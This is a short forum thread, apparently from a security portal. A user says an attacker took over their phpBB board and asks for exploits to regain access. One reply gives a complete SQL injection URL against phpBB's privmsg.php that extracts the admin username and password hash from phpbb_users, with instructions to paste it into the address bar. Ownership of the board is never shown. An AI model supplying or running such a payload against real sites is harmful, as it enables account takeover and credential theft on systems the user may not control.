Waraxe IT Security Portal

Spie · Beginner

Any exploits for this?

A turk called "aLpTurkTegin"

has done it over and I need to get back in.

Chb · Valuable expert

There are some vulnerabilities. Are you too lazy to update your board? The current version is btw 2.0.18...
Well, just google a bit and you'll find a few vulnerabilities which you can use to get in.

Spie · Beginner

Yes, I Should have updated, but now i need to try and save as much as i can.

I've googled around and found a couple of things that look like cgi/peral scripts, not sure if there any good,

shai-tan · Valuable expert

http://site.com/board/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND pm.privmsgs_type=-99 UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username,0,0,0,0,0,0,0,0,0,user_password FROM phpbb_users WHERE user_id=2 LIMIT 1/*

Use that if you can. Fill in the required details. If you have a way of logging in still then that will work.

Why not just go through your web host and change the md5 for your user in the phpbb_users table?

Shai-tan

Spie · Beginner

I only have ftp acess during the night, but the host is forgein so im asleep when i have acess.

My backup forum account is called LOK and the userid is 33 so what would I put?

shai-tan · Valuable expert

Nothing just use it the way it is after you login. And see what happens. Just enter the hole lot into the address bar.

Shai-tan